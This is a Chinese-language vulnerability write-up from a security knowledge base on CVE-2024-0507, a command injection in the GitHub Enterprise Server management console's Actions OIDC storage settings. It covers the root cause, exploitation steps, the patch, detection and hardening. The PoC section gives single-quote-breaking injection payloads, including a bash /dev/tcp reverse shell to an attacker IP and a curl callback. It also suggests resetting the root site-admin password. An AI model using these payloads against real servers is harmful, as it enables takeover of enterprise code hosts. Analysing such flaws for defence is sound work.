♧ Godown 安全知识树

GitHub Enterprise Server CVE-2024-0507:管理控制台 Actions 存储 OIDC 设置命令注入,editor 提权到 root 站点管理员

web/generic · verified

一句话结论

GitHub Enterprise Server 3.11.2 的管理控制台在 Actions 存储设置校验中,把 OIDC 相关字段(如 s3_oidc.bucket_name、azure_oidc.*、gcs_oidc.*、enterprise_identifier)直接插值进 shell 命令字符串,再用 Process.spawn("sudo -u admin ghe-actions-test-storage-with-oidc -cs '#{cs}' -p ...") 执行;拥有 editor 角色的管理控制台用户可在 bucket name 中注入 '; <命令>; x=',以 admin 身份执行命令,进而用 ghe-set-password 重置 root 站点管理员密码或反弹 shell,实现权限提升。

原理

  • 漏洞点在字符串拼命令:ActionsStorageSettingsValidator#validate(record) 根据 record.blob_provider 和 record.oidc_enabled? 拼接 cs:
  • azure:TenantId=#{record.azure_oidc.tenant_id};ClientId=#{...};StorageAccount=#{...};EndpointSuffix=#{...}
  • s3:BucketName=#{record.s3_oidc.bucket_name};RoleARN=#{...};Region=#{...}
  • gcs:BucketName=#{record.gcs_oidc.bucket_name};WorkloadProviderId=#{...};... 然后 cs = "#{cs};EnterpriseIdentifier=#{record.enterprise_identifier}",最终: Process.spawn("sudo -u admin ghe-actions-test-storage-with-oidc -cs '#{cs}' -p #{record.blob_provider}", ...) 这是 Ruby 中以字符串形式传给 shell 的 spawn(单参数且含空格/引号),字段值未转义。
  • 注入方式:-cs '#{cs}' 被单引号包裹,攻击者在字段值中写 '; <命令>; x=' 即可闭合单引号并执行任意命令,末尾再用 x=' 闭合剩余引号(原文 payload:'; bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'; x=')。Process.spawn 以 sudo -u admin 运行,因此命令以 GHES 管理账户执行。
  • 为什么 editor 能提权:管理控制台分为多个角色,editor 可修改设置但没有“添加 SSH 密钥/获得管理 SSH”的权限;命令注入后可直接执行 ghe-set-password 重置 root 站点管理员密码,或反弹 shell,从而获取 root 站点管理员/管理 SSH 能力。
  • 为什么需要 OIDC 分支:漏洞只在 record.oidc_enabled? 为真时进入字符串插值分支;攻击者需在 Actions 存储设置中选择 Amazon S3/ Azure/ GCS 并启用 OpenID Connect(OIDC),让可控字段进入 cs。
  • 补丁:3.11.3 将命令改为参数数组形式(Process.spawn("sudo", "-u", "admin", "/usr/local/bin/ghe-actions-test-storage-with-oidc", "-cs", cs, "-p", record.blob_provider, ...)),不再经过 shell 解析,字段值即使含元字符也只作为参数。

触发条件

  • 目标为 GHES 3.11.2 或更早的受影响版本(3.11.3 修复)。
  • 攻击者拥有管理控制台 user account 的 editor 角色(或更高),可访问 Settings → Actions 的 Artifact & Log Storage 设置。
  • GitHub Actions 已启用,且存储提供方设为 Amazon S3/Azure/GCS 并启用 OIDC;可控制至少一个进入 cs 的字段(bucket_name/tenant_id 等)。
  • 管理控制台与后台校验服务可达;无额外 WAF 拦截 shell 元字符(原文在默认环境利用成功)。

利用步骤

  1. 以 editor 角色登录 GHES 管理控制台(https://<host>:8443/setup/settings),进入 Settings → Actions,确认 GitHub Actions 已启用。
  2. 在 Artifact & Log Storage 选择 Amazon S3(或 Azure/GCS),Authentication 选择 OpenID Connect (OIDC),填写 AWS Role/Region 等必填项。
  3. 在 AWS S3 Bucket(或其他进入 cs 的字段)填入注入 payload,例如: '; bash -c 'bash -i >& /dev/tcp/<attack_ip>/<port> 0>&1'; x=' 或先验证命令执行:'; curl http://<attack_ip>:8080/lol; x='
  4. 点击“Test storage settings”,后端触发 ghe-actions-test-storage-with-oidc,命令在 sudo -u admin 下执行;在监听端确认回连或 HTTP 请求。
  5. 若目标是拿管理员权限,将 payload 换为 ghe-set-password 重置 root 站点管理员密码,随后用新密码登录并添加自己的 SSH 密钥;或直接反弹 shell。
  6. 记录请求/响应与命令执行证据,按授权范围清理。

PoC

# 管理控制台字段注入(原文截图)
AWS S3 Bucket: '; curl http://192.168.1.8:8080/lol; x='

# 反弹 shell payload
'; bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'; x='
# 漏洞代码形态(原文补丁 diff 前)
cs = "BucketName=#{record.s3_oidc.bucket_name};RoleARN=#{record.s3_oidc.role_arn};Region=#{record.s3_oidc.region}"
cs = "#{cs};EnterpriseIdentifier=#{record.enterprise_identifier}"
pid = Process.spawn("sudo -u admin  ghe-actions-test-storage-with-oidc -cs '#{cs}' -p #{record.blob_provider}", pgroup: true, out: "/data/user/common/ghe-oidc-test-storage.log", err: :out)
# 验证结果(原文):
# 监听端收到 GET /lol HTTP/1.1,证明 curl 以 admin 身份执行;
# 或反弹 shell 成功;也可执行 ghe-set-password 重置 root 站点管理员密码。

未在本机复现;原文提供公开 exploit,PoC 未在授权目标执行。

变体与关联

  • 变体:注入点可换成 azure 的 tenant_id/client_id/storage_account/endpoint_suffix、s3 的 role_arn/region、gcs 的 workload_id/service_acc/endpoint_suffix,或 enterprise_identifier;不同提供方走不同分支但最终拼接同一个 -cs 参数。
  • 变体:把命令注入改为写文件/反连/重置密码等;sudo -u admin 提供了管理账户上下文。
  • 关联:[[web-generic-rce-ghes-cve-2024-0200-unsafe-reflection-marshal-cookie-rce]]——GHES 3.11.3 同一批修复的另一个 RCE(org owner 利用不安全反射 + Marshal cookie),两漏洞角色/前置不同。
  • 边界:editor 角色被移除、OIDC 未启用/字段不可控、升级到 3.11.3(参数数组修复)、WAF 拦截 shell 元字符时失效;需要管理控制台账号,非未授权漏洞。

检测与防御

  • 检测:管理控制台 Actions 存储设置请求中出现 '、;、$(、反引号、bash -c、/dev/tcp 等 shell 元字符;ghe-actions-test-storage-with-oidc 进程的命令行/日志出现非预期命令;admin 账户执行 ghe-set-password 或异常 SSH 密钥添加。
  • 检测:管理控制台审计日志中 editor 用户修改 Actions 存储设置并触发 test storage 的频率/内容异常。
  • 防御:升级到 GHES 3.11.3+;限制 editor 角色分配,最小权限;对管理控制台启用强认证与访问白名单。
  • 加固:命令执行使用参数数组/白名单,避免 shell 字符串拼接;对存储设置字段做格式校验(bucket/tenant 只允许合法字符);监控 sudo -u admin 子进程与异常出站连接。